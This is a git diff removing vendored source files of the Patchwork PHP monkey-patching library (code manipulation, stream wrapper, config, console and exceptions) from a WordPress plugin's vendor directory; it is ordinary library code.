- # Anonymous class - continue; - } - $end = scanInnerTokens($s, $begin, $dynamic); - $afterEnd = $s->skip(Source::junk(), $end); - list($argsOpen, $argsClose) = [null, null]; - if ($s->is(Generic\LEFT_ROUND, $afterEnd)) { - list($argsOpen, $argsClose) = [$afterEnd, $s->match($afterEnd)]; - } - spliceInstantiation($s, $new, $begin, $end, $argsOpen, $argsClose, $dynamic); - if (hasExtraParentheses($s, $new)) { - removeExtraParentheses($s, $new); - } - } -} - -function publicizeConstructors(Source $s) -{ - if (!Config\isNewKeywordRedefinable()) { - return; - } - foreach ($s->all([T_PRIVATE, T_PROTECTED]) as $first) { - $second = $s->skip(Source::junk(), $first); - $third = $s->skip(Source::junk(), $second); - if ($s->is(T_FUNCTION, $second) && $s->read($third, 1) === '__construct') { - $s->splice('public', $first, 1); - } - } -} - -function spliceInstantiation(Source $s, $new, $begin, $end, $argsOpen, $argsClose, $dynamic) -{ - $class = $s->read($begin, $end - $begin + 1); - $args = ''; - $length = $end - $new + 1; - if ($argsOpen !== null) { - $args = $s->read($argsOpen + 1, $argsClose - $argsOpen - 1); - $length = $argsClose - $new + 1; - } - $replacement = DYNAMIC_INSTANTIATION_REPLACEMENT; - if (!$dynamic) { - $class = Namespaces\resolveName($s, $begin); - $replacement = STATIC_INSTANTIATION_REPLACEMENT; - } - $s->splice(sprintf($replacement, $class, CALLED_CLASS, $args), $new, $length); -} - -function getInnerTokens() -{ - return [ - '$', - T_OBJECT_OPERATOR, - T_DOUBLE_COLON, - T_NS_SEPARATOR, - T_STRING, - T_LNUMBER, - T_DNUMBER, - T_WHITESPACE, - T_CONSTANT_ENCAPSED_STRING, - T_COMMENT, - T_DOC_COMMENT, - T_VARIABLE, - T_ENCAPSED_AND_WHITESPACE, - T_STATIC, - Generic\NAME_FULLY_QUALIFIED, - Generic\NAME_QUALIFIED, - Generic\NAME_RELATIVE, - ]; -} - -function getBracketTokens() -{ - return [ - Generic\LEFT_SQUARE, - Generic\LEFT_CURLY, - T_CURLY_OPEN, - T_DOLLAR_OPEN_CURLY_BRACES, - Generic\ATTRIBUTE, - ]; -} - -function getDynamicTokens() -{ - return [ - '$', - T_OBJECT_OPERATOR, - T_DOUBLE_COLON, - T_LNUMBER, - T_DNUMBER, - T_CONSTANT_ENCAPSED_STRING, - T_VARIABLE, - T_ENCAPSED_AND_WHITESPACE, - ]; -} - -function scanInnerTokens(Source $s, $begin, &$dynamic = null) -{ - $dynamic = false; - $pos = $begin; - while ($s->is(getInnerTokens(), $pos) || $s->is(getBracketTokens(), $pos)) { - if ($s->is(getBracketTokens(), $pos)) { - $dynamic = true; - $pos = $s->match($pos) + 1; - } else { - if ($s->is(getDynamicTokens(), $pos)) { - $dynamic = true; - } - $pos++; - } - } - return $pos - 1; -} - -function hasExtraParentheses(Source $s, $new) -{ - $doNotRemoveAfter = [ - T_STRING, - T_STATIC, - T_VARIABLE, - T_FOREACH, - T_FOR, - T_IF, - T_ELSEIF, - T_WHILE, - T_ARRAY, - T_PRINT, - T_ECHO, - T_CLASS, - Generic\NAME_FULLY_QUALIFIED, - Generic\NAME_QUALIFIED, - Generic\NAME_RELATIVE, - Generic\RIGHT_ROUND, - Generic\RIGHT_SQUARE, - ]; - $left = $s->skipBack(Source::junk(), $new); - if (!$s->is(Generic\LEFT_ROUND, $left)) { - return false; - } - $beforeLeft = $s->skipBack(Source::junk(), $left); - return !$s->is($doNotRemoveAfter, $beforeLeft); -} - -function removeExtraParentheses(Source $s, $new) -{ - $left = $s->skipBack(Source::junk(), $new); - $s->splice('', $left, 1); - $s->splice('', $s->match($left), 1); -} - -function suspendFor(callable $function) -{ - State::$enabled = false; - $exception = null; - try { - $function(); - } catch (\Exception $e) { - $exception = $e; - } - State::$enabled = true; - if ($exception) { - throw $exception; - } -} - -class State -{ - static $enabled = true; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Source.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Source.php deleted file mode 100644 index f16bc120..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Source.php +++ /dev/null @@ -1,318 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation; - -use Patchwork\CodeManipulation\Actions\Generic; -use Patchwork\Utils; - -class Source -{ - const TYPE_OFFSET = 0; - const STRING_OFFSET = 1; - - const PREPEND = 'PREPEND'; - const APPEND = 'APPEND'; - const OVERWRITE = 'OVERWRITE'; - - const ANY = null; - - public $tokens; - public $tokensByType; - public $splices; - public $spliceLengths; - public $code; - public $file; - public $matchingBrackets; - public $levels; - public $levelBeginnings; - public $levelEndings; - public $tokensByLevel; - public $tokensByLevelAndType; - public $cache; - - function __construct($string) - { - $this->code = $string; - $this->initialize(); - } - - function initialize() - { - $this->tokens = Utils\tokenize($this->code); - $this->tokens[] = [T_WHITESPACE, ""]; - $this->indexTokensByType(); - $this->collectBracketMatchings(); - $this->collectLevelInfo(); - $this->splices = []; - $this->spliceLengths = []; - $this->cache = []; - } - - function indexTokensByType() - { - $this->tokensByType = []; - foreach ($this->tokens as $offset => $token) { - $this->tokensByType[$token[self::TYPE_OFFSET]][] = $offset; - } - } - - function collectBracketMatchings() - { - $this->matchingBrackets = []; - $stack = []; - foreach ($this->tokens as $offset => $token) { - $type = $token[self::TYPE_OFFSET]; - switch ($type) { - case '(': - case '[': - case '{': - case T_CURLY_OPEN: - case T_DOLLAR_OPEN_CURLY_BRACES: - case Generic\ATTRIBUTE: - $stack[] = $offset; - break; - case ')': - case ']': - case '}': - $top = array_pop($stack); - $this->matchingBrackets[$top] = $offset; - $this->matchingBrackets[$offset] = $top; - break; - } - } - } - - function collectLevelInfo() - { - $level = 0; - $this->levels = []; - $this->tokensByLevel = []; - $this->levelBeginnings = []; - $this->levelEndings = []; - $this->tokensByLevelAndType = []; - foreach ($this->tokens as $offset => $token) { - $type = $token[self::TYPE_OFFSET]; - switch ($type) { - case '(': - case '[': - case '{': - case T_CURLY_OPEN: - case T_DOLLAR_OPEN_CURLY_BRACES: - case Generic\ATTRIBUTE: - $level++; - Utils\appendUnder($this->levelBeginnings, $level, $offset); - break; - case ')': - case ']': - case '}': - Utils\appendUnder($this->levelEndings, $level, $offset); - $level--; - } - $this->levels[$offset] = $level; - Utils\appendUnder($this->tokensByLevel, $level, $offset); - Utils\appendUnder($this->tokensByLevelAndType, [$level, $type], $offset); - } - Utils\appendUnder($this->levelBeginnings, 0, 0); - Utils\appendUnder($this->levelEndings, 0, count($this->tokens) - 1); - } - - function has($types) - { - foreach ((array) $types as $type) { - if ($this->all($type) !== []) { - return true; - } - } - return false; - } - - function is($types, $offset) - { - foreach ((array) $types as $type) { - if ($this->tokens[$offset][self::TYPE_OFFSET] === $type) { - return true; - } - } - return false; - } - - function skip($types, $offset, $direction = 1) - { - $offset += $direction; - $types = (array) $types; - while ($offset < count($this->tokens) && $offset >= 0) { - if (!in_array($this->tokens[$offset][self::TYPE_OFFSET], $types)) { - return $offset; - } - $offset += $direction; - } - return ($direction > 0) ? INF : -1; - } - - function skipBack($types, $offset) - { - return $this->skip($types, $offset, -1); - } - - function within($types, $low, $high) - { - $result = []; - foreach ((array) $types as $type) { - $candidates = isset($this->tokensByType[$type]) ? $this->tokensByType[$type] : []; - $result = array_merge(Utils\allWithinRange($candidates, $low, $high), $result); - } - return $result; - } - - function read($offset, $count = 1) - { - $result = ''; - $pos = $offset; - while ($pos < $offset + $count) { - if (isset($this->tokens[$pos][self::STRING_OFFSET])) { - $result .= $this->tokens[$pos][self::STRING_OFFSET]; - } else { - $result .= $this->tokens[$pos]; - } - $pos++; - } - return $result; - } - - function siblings($types, $offset) - { - $level = $this->levels[$offset]; - $begin = Utils\lastNotGreaterThan(Utils\access($this->levelBeginnings, $level, []), $offset); - $end = Utils\firstGreaterThan(Utils\access($this->levelEndings, $level, []), $offset); - if ($types === self::ANY) { - return Utils\allWithinRange($this->tokensByLevel[$level], $begin, $end); - } else { - $result = []; - foreach ((array) $types as $type) { - $candidates = Utils\access($this->tokensByLevelAndType, [$level, $type], []); - $result = array_merge(Utils\allWithinRange($candidates, $begin, $end), $result); - } - return $result; - } - } - - function next($types, $offset) - { - if (!is_array($types)) { - $candidates = Utils\access($this->tokensByType, $types, []); - return Utils\firstGreaterThan($candidates, $offset); - } - $result = INF; - foreach ($types as $type) { - $result = min($this->next($type, $offset), $result); - } - return $result; - } - - function all($types) - { - if (!is_array($types)) { - return Utils\access($this->tokensByType, $types, []); - } - $result = []; - foreach ($types as $type) { - $result = array_merge($result, $this->all($type)); - } - sort($result); - return $result; - } - - function match($offset) - { - $offset = (string) $offset; - return isset($this->matchingBrackets[$offset]) ? $this->matchingBrackets[$offset] : INF; - } - - function splice($splice, $offset, $length = 0, $policy = self::OVERWRITE) - { - if ($policy === self::OVERWRITE) { - $this->splices[$offset] = $splice; - } elseif ($policy === self::PREPEND || $policy === self::APPEND) { - if (!isset($this->splices[$offset])) { - $this->splices[$offset] = ''; - } - if ($policy === self::PREPEND) { - $this->splices[$offset] = $splice . $this->splices[$offset]; - } elseif ($policy === self::APPEND) { - $this->splices[$offset] .= $splice; - } - } - if (!isset($this->spliceLengths[$offset])) { - $this->spliceLengths[$offset] = 0; - } - $this->spliceLengths[$offset] = max($length, $this->spliceLengths[$offset]); - $this->code = null; - } - - function createCodeFromTokens() - { - $splices = $this->splices; - $code = ""; - $count = count($this->tokens); - for ($offset = 0; $offset < $count; $offset++) { - if (isset($splices[$offset])) { - $code .= $splices[$offset]; - unset($splices[$offset]); - $offset += $this->spliceLengths[$offset] - 1; - } else { - $t = $this->tokens[$offset]; - $code .= isset($t[self::STRING_OFFSET]) ? $t[self::STRING_OFFSET] : $t; - } - } - $this->code = $code; - } - - static function junk() - { - return [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT]; - } - - function __toString() - { - if ($this->code === null) { - $this->createCodeFromTokens(); - } - return (string) $this->code; - } - - function flush() - { - $this->initialize(Utils\tokenize($this)); - } - - /** - * @since 2.1.0 - */ - function cache(array $args, \Closure $function) - { - $found = true; - $trace = debug_backtrace()[1]; - $location = $trace['file'] . ':' . $trace['line']; - $result = &$this->cache; - foreach (array_merge([$location], $args) as $step) { - if (!is_scalar($step)) { - throw new \LogicException; - } - if (!isset($result[$step])) { - $result[$step] = []; - $found = false; - } - $result = &$result[$step]; - } - if (!$found) { - $result = call_user_func_array($function->bindTo($this), $args); - } - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Stream.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Stream.php deleted file mode 100644 index 9167b992..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Stream.php +++ /dev/null @@ -1,362 +0,0 @@ - - * @copyright 2010-2023 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation; - -use Patchwork\Utils; - -class Stream -{ - const STREAM_OPEN_FOR_INCLUDE = 128; - const STAT_MTIME_NUMERIC_OFFSET = 9; - const STAT_MTIME_ASSOC_OFFSET = 'mtime'; - - protected static $protocols = ['file', 'phar']; - protected static $otherWrapperClass; - - public $context; - public $resource; - - public static function discoverOtherWrapper() - { - $handle = fopen(__FILE__, 'r'); - $meta = stream_get_meta_data($handle); - if ($meta && isset($meta['wrapper_data']) && is_object($meta['wrapper_data']) && !($meta['wrapper_data'] instanceof self)) { - static::$otherWrapperClass = get_class($meta['wrapper_data']); - } - } - - public static function wrap() - { - foreach (static::$protocols as $protocol) { - stream_wrapper_unregister($protocol); - stream_wrapper_register($protocol, get_called_class()); - } - } - - public static function unwrap() - { - foreach (static::$protocols as $protocol) { - set_error_handler(function() {}); - stream_wrapper_restore($protocol); - restore_error_handler(); - } - } - - public static function reinstateWrapper() - { - static::discoverOtherWrapper(); - static::unwrap(); - static::wrap(); - } - - public function stream_open($path, $mode, $options, &$openedPath) - { - $including = (bool) ($options & self::STREAM_OPEN_FOR_INCLUDE); - - // `parse_ini_file()` also sets STREAM_OPEN_FOR_INCLUDE. - if ($including) { - $frame = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2)[1]; - if (empty($frame['class']) && $frame['function'] === 'parse_ini_file') { - $including = false; - } - } - - if ($including && shouldTransform($path)) { - $this->resource = transformAndOpen($path); - return $this->resource !== false; - } - - $this->resource = static::fopen($path, $mode, $options, $this->context); - return $this->resource !== false; - } - - public static function getOtherWrapper($context) - { - if (isset(static::$otherWrapperClass)) { - $class = static::$otherWrapperClass; - $otherWrapper = new $class; - if ($context !== null) { - $otherWrapper->context = $context; - } - return $otherWrapper; - } - } - - public static function alternate(callable $internal, $resource, $wrapped, array $args = [], array $extraArgs = [], $context = null, $shouldReturnResource = false) - { - $shouldAddResourceArg = true; - if ($resource === null) { - $resource = static::getOtherWrapper($context); - $shouldAddResourceArg = false; - } - if (is_object($resource)) { - $args = array_merge($args, $extraArgs); - $ladder = function() use ($resource, $wrapped, $args) { - switch (count($args)) { - case 0: - return $resource->$wrapped(); - case 1: - return $resource->$wrapped($args[0]); - case 2: - return $resource->$wrapped($args[0], $args[1]); - default: - return call_user_func_array([$resource, $wrapped], $args); - } - }; - $result = $ladder(); - static::unwrap(); - static::wrap(); - } else { - if ($shouldAddResourceArg) { - array_unshift($args, $resource); - } - if ($context !== null) { - $args[] = $context; - } - $result = static::bypass(function() use ($internal, $args) { - switch (count($args)) { - case 0: - return $internal(); - case 1: - return $internal($args[0]); - case 2: - return $internal($args[0], $args[1]); - default: - return call_user_func_array($internal, $args); - } - }); - } - if ($shouldReturnResource) { - return ($result !== false) ? $resource : false; - } - return $result; - } - - public static function fopen($path, $mode, $options, $context = null) - { - $otherWrapper = static::getOtherWrapper($context); - if ($otherWrapper !== null) { - $openedPath = null; - $result = $otherWrapper->stream_open($path, $mode, $options, $openedPath); - return $result !== false ? $otherWrapper : false; - } - return static::bypass(function() use ($path, $mode, $options, $context) { - if ($context === null) { - return fopen($path, $mode, $options); - } - return fopen($path, $mode, $options, $context); - }); - } - - public function stream_close() - { - return static::fclose($this->resource); - } - - public static function fclose($resource) - { - return static::alternate('fclose', $resource, 'stream_close'); - } - - public static function fread($resource, $count) - { - return static::alternate('fread', $resource, 'stream_read', [$count]); - } - - public static function feof($resource) - { - return static::alternate('feof', $resource, 'stream_eof'); - } - - public function stream_eof() - { - return static::feof($this->resource); - } - - public function stream_flush() - { - return static::alternate('fflush', $this->resource, 'stream_flush'); - } - - public function stream_read($count) - { - return static::fread($this->resource, $count); - } - - public function stream_seek($offset, $whence = SEEK_SET) - { - if (is_object($this->resource)) { - return $this->resource->stream_seek($offset, $whence); - } - return fseek($this->resource, $offset, $whence) === 0; - } - - public function stream_stat() - { - if (is_object($this->resource)) { - return $this->resource->stream_stat(); - } - $result = fstat($this->resource); - if ($result) { - $result[self::STAT_MTIME_ASSOC_OFFSET]++; - $result[self::STAT_MTIME_NUMERIC_OFFSET]++; - } - return $result; - } - - public function stream_tell() - { - return static::alternate('ftell', $this->resource, 'stream_tell'); - } - - public static function bypass(callable $action) - { - static::unwrap(); - $result = $action(); - static::wrap(); - return $result; - } - - public function url_stat($path, $flags) - { - $internal = function($path, $flags) { - $func = ($flags & STREAM_URL_STAT_LINK) ? 'lstat' : 'stat'; - clearstatcache(); - if ($flags & STREAM_URL_STAT_QUIET) { - set_error_handler(function() {}); - try { - $result = call_user_func($func, $path); - } catch (\Exception $e) { - $result = null; - } - restore_error_handler(); - } else { - $result = call_user_func($func, $path); - } - clearstatcache(); - if ($result) { - $result[self::STAT_MTIME_ASSOC_OFFSET]++; - $result[self::STAT_MTIME_NUMERIC_OFFSET]++; - } - return $result; - }; - return static::alternate($internal, null, __FUNCTION__, [$path, $flags], [], $this->context); - } - - public function dir_closedir() - { - return static::alternate('closedir', $this->resource, 'dir_closedir') ?: true; - } - - public function dir_opendir($path, $options) - { - $this->resource = static::alternate('opendir', null, __FUNCTION__, [$path], [$options], $this->context); - return $this->resource !== false; - } - - public function dir_readdir() - { - return static::alternate('readdir', $this->resource, __FUNCTION__); - } - - public function dir_rewinddir() - { - return static::alternate('rewinddir', $this->resource, __FUNCTION__); - } - - public function mkdir($path, $mode, $options) - { - return static::alternate('mkdir', null, __FUNCTION__, [$path, $mode, $options], [], $this->context); - } - - public function rename($pathFrom, $pathTo) - { - return static::alternate('rename', null, __FUNCTION__, [$pathFrom, $pathTo], [], $this->context); - } - - public function rmdir($path, $options) - { - return static::alternate('rmdir', null, __FUNCTION__, [$path], [$options], $this->context); - } - - public function stream_cast($castAs) - { - return static::alternate(function() { - return $this->resource; - }, null, __FUNCTION__, [$castAs]); - } - - public function stream_lock($operation) - { - if ($operation === '0' || $operation === 0) { - $operation = LOCK_EX; - } - return static::alternate('flock', $this->resource, __FUNCTION__, [$operation]); - } - - public function stream_set_option($option, $arg1, $arg2) - { - $internal = function($option, $arg1, $arg2) { - switch ($option) { - case STREAM_OPTION_BLOCKING: - return stream_set_blocking($this->resource, $arg1); - case STREAM_OPTION_READ_TIMEOUT: - return stream_set_timeout($this->resource, $arg1, $arg2); - case STREAM_OPTION_WRITE_BUFFER: - return stream_set_write_buffer($this->resource, $arg1); - case STREAM_OPTION_READ_BUFFER: - return stream_set_read_buffer($this->resource, $arg1); - } - }; - return static::alternate($internal, $this->resource, __FUNCTION__, [$option, $arg1, $arg2]); - } - - public function stream_write($data) - { - return static::fwrite($this->resource, $data); - } - - public static function fwrite($resource, $data) - { - return static::alternate('fwrite', $resource, 'stream_write', [$data]); - } - - public function unlink($path) - { - return static::alternate('unlink', $this->resource, __FUNCTION__, [$path], [], $this->context); - } - - public function stream_metadata($path, $option, $value) - { - $internal = function($path, $option, $value) { - switch ($option) { - case STREAM_META_TOUCH: - if (empty($value)) { - return touch($path); - } else { - return touch($path, $value[0], $value[1]); - } - case STREAM_META_OWNER_NAME: - case STREAM_META_OWNER: - return chown($path, $value); - case STREAM_META_GROUP_NAME: - case STREAM_META_GROUP: - return chgrp($path, $value); - case STREAM_META_ACCESS: - return chmod($path, $value); - } - }; - return static::alternate($internal, null, __FUNCTION__, [$path, $option, $value]); - } - - public function stream_truncate($newSize) - { - return static::alternate('ftruncate', $this->resource, __FUNCTION__, [$newSize]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Config.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Config.php deleted file mode 100644 index 9da67a86..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Config.php +++ /dev/null @@ -1,233 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Config; - -use Patchwork\Utils; -use Patchwork\Exceptions; -use Patchwork\CodeManipulation\Actions\RedefinitionOfLanguageConstructs; - -const FILE_NAME = 'patchwork.json'; - -function locate() -{ - $alreadyRead = []; - $paths = array_map('dirname', get_included_files()); - $paths[] = dirname($_SERVER['PHP_SELF']); - $paths[] = getcwd(); - foreach ($paths as $path) { - while (dirname($path) !== $path) { - $file = $path . DIRECTORY_SEPARATOR . FILE_NAME; - if (is_file($file) && !isset($alreadyRead[$file])) { - read($file); - State::$timestamp = max(filemtime($file), State::$timestamp); - $alreadyRead[$file] = true; - } - $path = dirname($path); - } - } -} - -function read($file) -{ - $data = json_decode(file_get_contents($file), true); - if (json_last_error() !== JSON_ERROR_NONE) { - $message = json_last_error_msg(); - throw new Exceptions\ConfigMalformed($file, $message); - } - set($data, $file); -} - -function set(array $data, $file) -{ - $keys = array_keys($data); - $list = ['blacklist', 'whitelist', 'cache-path', 'redefinable-internals', 'new-keyword-redefinable']; - $unknown = array_diff($keys, $list); - if ($unknown != []) { - throw new Exceptions\ConfigKeyNotRecognized(reset($unknown), $list, $file); - } - $root = dirname($file); - setBlacklist(get($data, 'blacklist'), $root); - setWhitelist(get($data, 'whitelist'), $root); - setCachePath(get($data, 'cache-path'), $root); - setRedefinableInternals(get($data, 'redefinable-internals'), $root); - setNewKeywordRedefinability(get($data, 'new-keyword-redefinable'), $root); -} - -function get(array $data, $key) -{ - return isset($data[$key]) ? $data[$key] : null; -} - -function setBlacklist($data, $root) -{ - merge(State::$blacklist, resolvePaths($data, $root)); -} - -function isListed($path, array $list) -{ - $path = rtrim($path, '\\/'); - foreach ($list as $item) { - if (!is_string($item)) { - $item = chr($item); - } - if (strpos($path, $item) === 0) { - return true; - } - } - return false; -} - -function isBlacklisted($path) -{ - return isListed($path, State::$blacklist); -} - -function setWhitelist($data, $root) -{ - merge(State::$whitelist, resolvePaths($data, $root)); -} - -function isWhitelisted($path) -{ - return isListed($path, State::$whitelist); -} - -function setCachePath($data, $root) -{ - if ($data === null) { - return; - } - $path = resolvePath($data, $root); - if (State::$cachePath !== null && State::$cachePath !== $path) { - throw new Exceptions\CachePathConflict(State::$cachePath, $path); - } - State::$cachePath = $path; -} - -function getDefaultRedefinableInternals() -{ - return [ - 'preg_replace_callback', - 'spl_autoload_register', - 'iterator_apply', - 'header_register_callback', - 'call_user_func', - 'call_user_func_array', - 'forward_static_call', - 'forward_static_call_array', - 'register_shutdown_function', - 'register_tick_function', - 'unregister_tick_function', - 'ob_start', - 'usort', - 'uasort', - 'uksort', - 'array_reduce', - 'array_intersect_ukey', - 'array_uintersect', - 'array_uintersect_assoc', - 'array_intersect_uassoc', - 'array_uintersect_uassoc', - 'array_uintersect_uassoc', - 'array_diff_ukey', - 'array_udiff', - 'array_udiff_assoc', - 'array_diff_uassoc', - 'array_udiff_uassoc', - 'array_udiff_uassoc', - 'array_filter', - 'array_map', - 'libxml_set_external_entity_loader', - ]; -} - -function getRedefinableInternals() -{ - if (!empty(State::$redefinableInternals)) { - return array_merge(State::$redefinableInternals, getDefaultRedefinableInternals()); - } - return []; -} - -function setRedefinableInternals($names) -{ - merge(State::$redefinableInternals, $names); - $constructs = array_intersect(State::$redefinableInternals, getSupportedLanguageConstructs()); - State::$redefinableLanguageConstructs = array_merge(State::$redefinableLanguageConstructs, $constructs); - State::$redefinableInternals = array_diff(State::$redefinableInternals, $constructs); -} - -function setNewKeywordRedefinability($value) -{ - State::$newKeywordRedefinable = State::$newKeywordRedefinable || $value; -} - -function getRedefinableLanguageConstructs() -{ - return State::$redefinableLanguageConstructs; -} - -function getSupportedLanguageConstructs() -{ - return array_keys(RedefinitionOfLanguageConstructs\getMappingOfConstructs()); -} - -function isNewKeywordRedefinable() -{ - return State::$newKeywordRedefinable; -} - -function getCachePath() -{ - return State::$cachePath; -} - -function resolvePath($path, $root) -{ - if ($path === null) { - return null; - } - if (file_exists($path) && realpath($path) === $path) { - return $path; - } - return realpath($root . '/' . $path); -} - -function resolvePaths($paths, $root) -{ - if ($paths === null) { - return []; - } - $result = []; - foreach ((array) $paths as $path) { - $result[] = resolvePath($path, $root); - } - return $result; -} - -function merge(array &$target, $source) -{ - $target = array_merge($target, (array) $source); -} - -function getTimestamp() -{ - return State::$timestamp; -} - -class State -{ - static $blacklist = []; - static $whitelist = []; - static $cachePath; - static $redefinableInternals = []; - static $redefinableLanguageConstructs = []; - static $newKeywordRedefinable = false; - static $timestamp = 0; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Console.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Console.php deleted file mode 100644 index a419503c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Console.php +++ /dev/null @@ -1,57 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Console; - -use Patchwork\CodeManipulation as CM; - -error_reporting(E_ALL); - -$argc > 2 && $argv[1] == 'prime' - or exit("\nUsage: php patchwork.phar prime DIR1 DIR2 ... DIRn\n" . - " (to recursively prime all PHP files under given directories)\n\n"); - -try { - CM\cacheEnabled() - or exit("\nError: no cache location set.\n\n"); -} catch (Patchwork\Exceptions\CachePathUnavailable $e) { - exit("\nError: " . $e->getMessage() . "\n\n"); -} - -echo "\nCounting files...\n"; - -$files = []; - -foreach (array_slice($argv, 2) as $path) { - $path = realpath($path); - foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($path)) as $file) { - if (substr($file, -4) == '.php' && !CM\internalToCache($file) && !CM\availableCached($file)) { - $files[] = $file; - } - } -} - -$count = count($files); - -$count > 0 or exit("\nNothing to do.\n\n"); - -echo "\nPriming ($count files total):\n"; - -const CONSOLE_WIDTH = 80; - -$progress = 0; - -for ($i = 0; $i < $count; $i++) { - CM\prime($files[$i]->getRealPath()); - while ((int) (($i + 1) / $count * CONSOLE_WIDTH) > $progress) { - echo '.'; - $progress++; - } -} - -echo "\n\n"; diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Exceptions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Exceptions.php deleted file mode 100644 index 5792867f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Exceptions.php +++ /dev/null @@ -1,129 +0,0 @@ - - * @copyright 2010-2023 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Exceptions; - -use Patchwork\Utils; - -abstract class Exception extends \Exception -{ -} - -class NoResult extends Exception -{ -} - -class StackEmpty extends Exception -{ - protected $message = "There are no calls in the dispatch stack"; -} - -abstract class CallbackException extends Exception -{ - function __construct($callback) - { - parent::__construct(sprintf($this->message, Utils\callableToString($callback))); - } -} - -class NotUserDefined extends CallbackException -{ - protected $message = 'Please include {"redefinable-internals": ["%s"]} in your patchwork.json.'; -} - -class DefinedTooEarly extends CallbackException -{ - - function __construct($callback) - { - $this->message = "The file that defines %s() was included earlier than Patchwork. " . - "Please reverse this order to be able to redefine the function in question."; - parent::__construct($callback); - } -} - -class InternalMethodsNotSupported extends CallbackException -{ - protected $message = "Methods of internal classes (such as %s) are not yet redefinable in Patchwork 2.1."; -} - -/** - * @deprecated 2.2.0 - */ -class InternalsNotSupportedOnHHVM extends CallbackException -{ - protected $message = "As of version 2.1, Patchwork cannot redefine internal functions and methods (such as %s) on HHVM."; -} - -class CachePathUnavailable extends Exception -{ - function __construct($location) - { - parent::__construct(sprintf( - "The specified cache path is nonexistent or read-only: %s", - $location - )); - } -} - -class ConfigException extends Exception -{ -} - -class ConfigMalformed extends ConfigException -{ - function __construct($file, $message) - { - parent::__construct(sprintf( - 'The configuration file %s is malformed: %s', - $file, - $message - )); - } -} - -class ConfigKeyNotRecognized extends ConfigException -{ - function __construct($key, $list, $file) - { - parent::__construct(sprintf( - "The key '%s' in the configuration file %s was not recognized. " . - "You might have meant one of these: %s", - $key, - $file, - join(', ', $list) - )); - } -} - -class CachePathConflict extends ConfigException -{ - function __construct($first, $second) - { - parent::__construct(sprintf( - "Detected configuration files provide conflicting cache paths: %s and %s", - $first, - $second - )); - } -} - -class NewKeywordNotRedefinable extends ConfigException -{ - protected $message = 'Please set {"new-keyword-redefinable": true} to redefine instantiations'; -} - -class NonNullToVoid extends Exception -{ - protected $message = 'A redefinition of a void-typed callable attempted to return a non-null result'; -} - -class ReturnFromNever extends Exception -{ - protected $message = 'A redefinition of a never-typed callable attempted to return'; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Redefinitions/LanguageConstructs.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Redefinitions/LanguageConstructs.php deleted file mode 100644 index 66172661..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Redefinitions/LanguageConstructs.php +++ /dev/null @@ -1,76 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Redefinitions\LanguageConstructs; - -function _echo($string) -{ - foreach (func_get_args() as $argument) { - echo $argument; - } -} - -function _print($string) -{ - return print($string); -} - -function _eval($code) -{ - return eval($code); -} - -function _die($message = null) -{ - die($message); -} - -function _exit($message = null) -{ - exit($message); -} - -function _isset(&$lvalue) -{ - return isset($lvalue); -} - -function _unset(&$lvalue) -{ - unset($lvalue); -} - -function _empty(&$lvalue) -{ - return empty($lvalue); -} - -function _require($path) -{ - return require($path); -} - -function _require_once($path) -{ - return require_once($path); -} - -function _include($path) -{ - return include($path); -} - -function _include_once($path) -{ - return include_once($path); -} - -function _clone($object) -{ - return clone $object; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Stack.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Stack.php deleted file mode 100644 index a49d3810..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Stack.php +++ /dev/null @@ -1,95 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Stack; - -use Patchwork\Exceptions; - 